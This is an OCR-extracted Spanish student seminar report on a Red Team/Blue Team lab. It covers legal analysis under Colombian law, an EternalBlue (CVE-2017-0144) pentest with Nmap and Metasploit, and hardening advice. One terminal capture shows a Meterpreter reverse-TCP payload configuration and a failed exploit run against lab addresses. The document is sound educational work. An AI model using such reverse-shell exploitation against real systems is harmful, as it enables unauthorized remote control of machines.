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GLOSARIO

Pentesting: El pentesting o mas conocida como "prueba de penetracion” se basa
en un ataque a un sistema informatico con el objetivo de analizar fallos en dicho
sistemal, asi como también vulnerabilidades del mismo u otros errores que
contenga en materia de seguridad, todo ello con el objetivo de hacer prevencion de
atagues externos?.

Blue Team: Blue Team: Normalmente este grupo esta conformado por analistas
gue dan respuesta a incidentes informaticos que suministran informacion al equipo
de seguridad de Tecnologias de la Informaciéon® sobre donde ejecutar mejoras para
hacer detencion de diversos ciberataques y amenazas.

Red Team: El equipo rojo se encarga en este tipo de simulaciones, de identificar y
hacer maximo provecho de las vulnerabilidades del sistema objetivo usando
técnicas avanzadas de penetracion. Estos equipos normalmente estan formados
por personas altamente preparadas que se centran mucho en estas tareas
especificamente.

! PandaSecurity. (2018). Pentesting: Una herramienta muy valiosa para tu
empresa. Panda Security Mediacenter. Recuperado de:
https://www.pandasecurity.com/spain/mediacenter/seguridad/pentesting-
herramienta-empresa/

2 Prenafeta, J. Qué es pentesting y como detectar y prevenir ciberataques. En:
Hiberus Tecnologia. Agosto, 2018. [Consultado: 12 de octubre de 2020].
Disponible en: https://www.hiberus.com/crecemos-contigo/que-es-pentesting-para-
detectar-y-prevenir-
ciberataques/#:~:text=E1%20%E2%80%9Cpentesting%E2%80%9D%200%20%E?2
%80%9Ctest,pueden%20afectar%20a%20su%20sistema.

3 CrowdsStrike. [Sitio web]. Red Team vs Blue Team Defined. [Consulta: 8 de octubre
de 2020]. Disponible en: https://www.crowdstrike.com/epp-101/red-team-vs-blue-
team/
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Hardening: Hardening consiste en el reforzamiento de un sistema especifico, con
la finalidad de hacer reduccion en cuanto a amenazas y para evitar las mismas y los
peligros que pueden conllevar®.

Un proceso en especifico de hardening podria ser el cerrar puertos que no son
usados ni tampoco necesarios en nuestro sistema. El hardening es efectivo cuando
eliminamos partes del software que no se esta usando.

Vulnerabilidad: Una vulnerabilidad en informéatica, es un punto débil que puede ser
aprovechado por un ataque informatico para lograr hacer provecho no autorizado o
ejecutar acciones en dicho sistema. Las vulnerabilidades pueden permitir que los
atacantes ejecuten comandos®, accedan a la memoria de un sistema e instalen
software malicioso, asi como también robar, perjudicar o corromper datos.

4 CISCO. [Sitio web]. What Is Penetration Testing? [Consulta: 9 de octubre de 2020].
Disponible en: https://www.cisco.com/c/en/us/products/security/what-is-pen-

testing.html

5> Offensive Security. [Sitio web]. About the Metaesploit Meterpreter. [Consulta: 12
de octubre de 2020]. Disponible en: https://www.offensive-security.com/metasploit-
unleashed/about-meterpreter/
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RESUMEN

El desarrollo del presente informe esta centrado en las diferentes estrategias que
hay en materia de seguridad informatica por los llamados Red Team y Blue Team
para asegurar la seguridad del patrimonio tecnolégico (y econémico) apoyandose
en escenarios de simulacion en el que una institucion (en este caso The WhiteHouse
Security) conforma un equipo de Red Team y Blue Team para hacer un incremento
de la ciberseguridad al interior de esta misma.

La primera fase de estos desarrollos inicia con la examinacion de las acciones en
los equipos de Red Team y Blue Team dentro de una institucion en los aspectos
éticos y legales, con lo que se haré una interpretacion de las clausulas del contrato
gue tengan irregularidades y en busca de elementos que no convengan dentro de
las leyes nacionales e internacionales en materia de seguridad informatica.

Consecuentemente a esto, se hace un abordaje de tareas que contiene un equipo
Red Team a partir de una situacion problema en la que se hace necesaria la
ejecucion de pentesting para hacer un analisis de fallos de seguridad a través de
los cuales se producen fugas de informacion dentro de una institucion y luego se
procede a una segunda situaciéon en la que desde el punto de vista de un Blue Team,
se ejecutan contenciones para este ataque informatico simulado.

Finalmente se hacen recomendaciones en relacién a los hallazgos relevantes que
producen la realizacion de estas distintas actividades mencionadas anteriormente.



INTRODUCCION

En la creciente y exponencialmente era digital las personas y empresas buscan la
facilidad que pueden brindarle las herramientas tecnoldgicas, lo cual ayuda a
asegurar los procesos que dia a dia requieren realizarse con la misma precision y
repeticion que hace parte de la rutina y que debido a globalizacién, exige un margen
de excelencia, calidad y precision debido a la competencia internacional que
atraviesan las empresas y el profesionalismo de los individuos. Todos estos
procesos son ayudados en mayor o menor medida por la informatica y la electronica,
que al ir de la mano brindan una automatizacién precisa de la informacion.

Debido a lo anteriormente planteado, las exigencias en la seguridad informatica
cada vez son mayores ya que un eslabon que nunca puede ser dejado atras en todo
este flujo de procesos, es la accion humana que complementa estos procesos
tecnologicos, lo que permite que los sistemas sean vulnerados desde este punto.

Es muy importante a partir del anterior orden de ideas, que se requieran personas
especializadas en esta rama de la informatica para salvaguardar los flujos de
informacion que pasan por dichos sistemas informaticos y en ultimas, por personas
e instalaciones empresariales o domésticas.



OBJETIVOS

OBJETIVO GENERAL

Hacer un extracto de las diferentes actividades planteadas durante el desarrollo
del presente seminario, asi como los eslabones mas importantes en la realizacion
del desarrollo previo.

OBJETIVOS ESPECIFICOS

e Analizar las intertextualidades éticas y legales del escenario problema con
los aspectos éticos de la realidad colombiana y global.

e Implementar y montar el banco de trabajo en el que se desarrollaran los
escenarios problema.

e Analizar y hacer provecho de los fallos en seguridad que se encuentran
dentro de la organizacion propuesta, haciendo uso de herramientas de
pentesting y de analisis de vulnerabilidades.

e Evaluar las acciones para hacer deteccion y contencién de manera exitosa
de un ataque en simultaneo, asi como la respectiva hardenizacién para evitar
gue vuelva a ocurrir.



1. DESARROLLO DEL INFORME
1.1 ACTUACION ETICA Y LEGAL

En la primera etapa, se analizaron los aspectos éticos y legales que se hacian
presentes de manera positiva o negativa dentro del acuerdo de confidencialidad en
la situacion problema. Para ello se hizo disposicion del caso y se hizo un andlisis en
el que se debia analizar si existian clausulas que iban en contra del cédigo ético
profesional que regula el ejercicio de labores de ingenieria y leyes que rigen lo
dispuesto en cuanto a ciberseguridad en el pais.

En el mismo acuerdo de confidencialidad, las clausulas dentro de las cuales se
infringen articulos son:

e Primera. Objeto

e Segunda, definicién de informacién confidencial
e Cuarta, obligaciones de la parte receptora

e Octava, solucién de controversias

Asi mismo, en los principales articulos mencionados en la ley 1273, también se
verian transgredidos los siguientes:

269A Acceso abusivo a un sistema informatico.
269C Interceptacion de datos informaticos

269F Violacién de datos personales®

6

COLOMBIA. CONGRESO DE LA REPUBLICA. Ley 1273. (5 de enero de 2009).

Por medio de la cual se modifica el Codigo Penal, se crea un nuevo bien juridico
tutelado — denominado «de la proteccion de la informacion y de los datos» —y se
preservan integralmente los sistemas que utilicen las tecnologias de la informacion
y las comunicaciones, entre otras disposiciones. En: Diario Oficial. Enero, 2009. 4

p.



De la misma forma, los articulos del codigo de ética del COPNIA transgredidos
serian:

Articulo 31: Deberes generales de los profesionales
Articulo 35: Deberes de los profesionales para dignidad de profesiones.

Articulo 43: Deberes profesionales en los concursos o licitaciones

1.2 FALLOS EN SEGURIDAD ENCONTRADOS

Para esta etapa se puso puesta en marcha de la maquinas configuradas y se
procedio a ejecutar el analisis de fallos en los dispositivos objetivo a partir de la
maquina virtual de Kali Linux.

Para identificar los fallos de seguridad en las maquinas afectadas se utilizé la
herramienta Nmap. Luego de efectuar una busqueda con esta herramienta, se pudo
evidenciar una brecha en seguridad, descrita de la siguiente forma:

CVE-2017-0144': Vulneracion en la ejecucién de comando de Windows SMB
En dicho escenario el atacante pudo hacer provecho con éxito de vulnerabilidades

en ejecucion remota de comandos que existen, de manera en que el server SMBv1
8controla ciertas solicitudes.

" CVE-2017-0143. Cve.mitre.org. Consulta: 20 de septiembre de 2020. Disponible
en: https://cve.mitre.org/cgi-bin/cvename.cqgi?name=CVE-2017-0143

8 CVE-2017-0143 | Windows SMB Remote Code Execution Vulnerability.
Microsoft.com. Consulta: 20 de septiembre de 2020. Disponible en:
https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-
0143

10



Posteriormente, se dio paso a la definicion de herramientas para pentesting:

Nmap: Nmap es una herramienta de cédigo abierto, la mas popular hoy en dia
usada para la exploracion de vulnerabilidades y detecciéon de puertos de red®. Los
administradores de red usan Nmap para analizar los dispositivos que se estan
conectando en sus sistemas y a partir de este proceso tomar medidas y
precauciones necesarias para cada caso.

Los usos que puede tener Nmap son muchos, como lo pueden ser el monitoreo de
hosts individuales, y la evolucién de esta herramienta ha sido flexible debido a la
utilidad que ha seguido teniendo a lo largo de los afios.

Metasploit: Es una de las herramientas mas usadas a nivel mundial a modo de
framework para explotacion desde BackTrack (ahora Kali Linux)?°.

Desarrollada en Pearl y Ruby, exclusiva para auditores de seguridad y equipos
Red Team y Blue Team. Red Team seria el equipo ofensivo (hacking ético) y el
blue team seria el equipo de “securizacion”!! (o defensivo). Es una herramienta muy
completa, y tiene muchas herramientas de (aproximadamente 1800 hoy en dia).

° Nmap: the Network Mapper - Free Security Scanner. [Sitio web]. [Consulta: 10 de
octubre de 2020]. Disponible en: https://nmap.org/

10 Explotar Vulnerabilidad EternalBlue con Metasploit. Nullsector.co. Consulta: 20
de septiembre de 2020. Disponible en: https://nullsector.co/explotar-vulnerabilidad-
eternalblue-con-metasploit/

11 Metasploit tutorial part 2: Using meterpreter. Computerweekly.com. Consulta: 20
de septiembre de 2020. Disponible en:
https://www.computerweekly.com/tip/Metasploit-tutorial-part-2-Using-meterpreter
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Meterpreter: Meterpreter es una herramienta que nos permite tener mucha
informacion sobre un objetivo en especifico, asi como también la de controlar
procesos del SOy en el proceso finalizarlos. Meterpreter se considera un intérprete
de comandos que nos ayuda de manera segura y agil hacer interaccion con la
maquina del usuario objetivo*?.

Figura 1. Mapa de la arquitectura de la red.

ATACANTE VICTIMA

Aplicacion/Servicio

Metasploit

lllll)

YVULHERABILIDAD

PAYLOAD

Fuente: El autor

12 Offensive Security. [Sitio web]. About the Metaesploit Meterpreter. [Consulta: 12
de octubre de 2020]. Disponible en: https://www.offensive-security.com/metasploit-
unleashed/about-meterpreter/
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1.3 RECOLECCION DE INFORMACION Y BUSQUEDA DE
VULNERABILIDADES

Para esta etapa se hizo un paso a paso de la prueba de penetracion desde la
maquina virtual Kali Linux hacia los SO Windows objetivo, con el siguiente

procedimiento!s:

Se hace la respectiva recoleccion de informacién y busqueda de
vulnerabilidades

Figura 2: Recoleccién de informacién con NMAP14

Fuente: El autor

13 Explotar Vulnerabilidad EternalBlue con Metasploit. Nullsector.co. Consulta: 20 de
septiembre de 2020. Disponible en: https://nullsector.co/explotar-vulnerabilidad-
eternalblue-con-metasploit/

14 Tutorial y listado de comandos mas utiles para Nmap. PROTEGERMYPC.NET.
Consulta: 20 de septiembre de 2020. Disponible en:
https://protegermipc.net/2018/11/07/tutorial-y-listado-de-comandos-mas-utiles-para-nmap/
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Consecuentemente, la explotacion de la vulnerabilidad encontrada

Figura 3: Implementacion de exploit®

Fuente: El autor
Luego se hace la ejecucion de Exploit

Figura 4: Ejecucion y puesta en marcha del exploit

Fuente: El autor

15 Revista Seguridad. (2018). Pruebas de penetracion para principiantes:
Explotando una vulnerabilidad con Metasploit Framework | Revista. Seguridad.
Recuperado de: https://revista.seguridad.unam.mx/numero-19/pruebas-de-
penetraci%C3%B3n-para-principiantes-explotando-una-vulnerabilidad-con-metasploit-fra
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Luego se pasa a ejecutar winse20w0.exe

Figura 5: Ejecucion de winse20wO0.exe

Fuente: El autor

Finalmente, se puede evidenciar la explotacién de la vulnerabilidad

Figura 6: Explotacion de vulnerabilidad

Fuente: El autor
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En todo lo anteriormente referenciado, con el SO Windows 7 de arquitectura 32 bits,
no se tenia la posibilidad de realizar el pentesting ya que la carga util tenia una
configuracion especifica para sistemas operativos de arquitectura 64 bits, lo que
provocaba que la maquina virtual mencionada anteriormente, mostrara el BSOD en
multiples ocasiones.

1.4 CONTENCION DE ATAQUES INFORMATICOS
En esta etapa se hizo preciso preguntarnos qué seria lo primero que se haria en
caso de un ataque en tiempo real, para lo cual se dieron las siguientes
recomendaciones.

e |dentificaciéon del problema

e Contencion del ataque

¢ Informar a las partes relevantes del caso

e Identificacion de vulnerabilidades y fortalecimiento de medidas de
ciberseguridad

e Documentacién de procedimientos y preservar evidencias
Consecuentemente también se hizo la pregunta de cudl seria el ejercicio de Red
Team y que medidas de hardenizacion se propondria teniendo en cuenta el
ataque ejecutado, para lo que también se hicieron una serie de recomendaciones

e Mantener actualizados los firmwares, drives y sistemas operativos'®

e Instalacion de antivirus

e Configuracién de cortafuegos

16 CrowdsStrike. [Sitio web]. Red Team vs Blue Team Defined. [Consulta: 8 de
octubre de 2020]. Disponible en: https://www.crowdstrike.com/epp-101/red-team-
vs-blue-team/
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Asi como también se hizo una prueba una vez actualizada correctamente la
version de Windows a MS12-010 y la ejecucién respectiva del Xploit por Kali
Linux, la cual no resulto satisfactoria:

Figura 7: Ejecucion de exploit por Kali Linux

[E Terminalnro.1

Terminalnro.1

Archivo Acciones Editar Vista Ayuda

VERIFY_ARCH  true yes Check if remote architecture matches exploit Target.
VERIFY_TARGET true yes Check if remote 0S matches exploit Target.

Payload options (windows/x64/meterpreter/reverse_tcp):

Current Setting Required Description

EXITFUNC thread Exit technique (Accepted: '', seh, thread, process, none)
LHOST 10.0.2.4 The listen address (an interface may be specified)
LPORT Lbbt The listen port

Exploit target:

Id

© Windows 7 and Server 2008 R2 (x64) All Service Packs

nsf5 exploit( ) > exploit

Started reverse TCP handler on 10.0.2.4:4444
10.0.2.15:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
10.0.2.15:445 - Scanned 1 of 1 hosts (100% complete)
10.0.2.15:445 - Exploit aborted due to failure: not-vulnerable: Set ForceExploit to override
Exploit completed, but no session was created.
nsf5 exploit( ) > 1

Fuente: El autor

17



SUSTENTACION DEL INFORME

Link del video de sustentacion: https://drive.google.com/drive/folders/1a9HOn-
x10TtuzR6igjYgtM-G56A q kz?usp=sharing
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CONCLUSIONES

En un caso hipotético en el que una empresa o entorno informatico presente una
posible vulnerabilidad en materia de seguridad informatica (ya sea por usuarios
finales o infraestructura poco mantenida), ya hay grandes posibilidades de que
personas con conocimientos en seguridad informética, puedan vulnerar dicho
sistema, como se pudo apreciar en los casos expuestos del seminario, en factores
de mantenimiento (como lo pueden ser la ausencia de actualizaciones del SO) o
falta de atencidn de un equipo de Tl que pueda asegurar la infraestructura tanto en
hardware como en software.

A partir de todo lo anteriormente planteado, se puede concluir que en todos los
procesos en los que se participe en materia de seguridad informética, se hace
necesario no solo tener habilidades técnicas en pruebas de penetracion o andlisis
de situaciones en particular, sino también en conocimientos tedricos que den
fundamento a todo nuestro quehacer. Dicha informacion debe ser también legal,
gue se aterrice en la realidad empresarial del caso, asi como también la legalidad
internacional vigente en nuestro pais.

19



RECOMENDACIONES

Se aprecia que la comunicacion en estos escenarios, tanto del equipo rojo como del
equipo azul debe ser fundamental y mantener una sinergia para el éxito de los
ejercicios. El Blue Team debe actualizarse constantemente sobre nuevas formas de
hardenizacion y de proteger la tecnologia institucional, asi como de cualquier noticia
que afecte de alguna forma al patrimonio tecnologico de las empresas de manera
actualizada y de forma satisfactoria compartir estos conocimientos con el Red
Team.

A patrtir del anterior orden de ideas, dependiendo de la razon de ser de una prueba
de penetracion, depende de si el Red Team notifica o no al Blue Team de una
prueba debidamente planeada. Los ejercicios de ambos equipos (Red Team o Blue
Team) contienen relativamente valor siempre y cuando informen de manera
completa y pertinente toda la informacion de las partes de interés
consecuentemente de cada participacién y se ofrezcan a un informe de forma
detallada de todas las caracteristicas de actividad de dicho proyecto.

Por altimo, la alta direccidn se tiene que asegurar de que los equipos Red Team o
Blue Team mantengan una respectiva sinergia y mantengan informados entre ellos,
puesto que la cooperacion entre ambos mejora la calidad del trabajo y el correcto
flujo de informacién entre las partes interesadas y la parte técnica.

20
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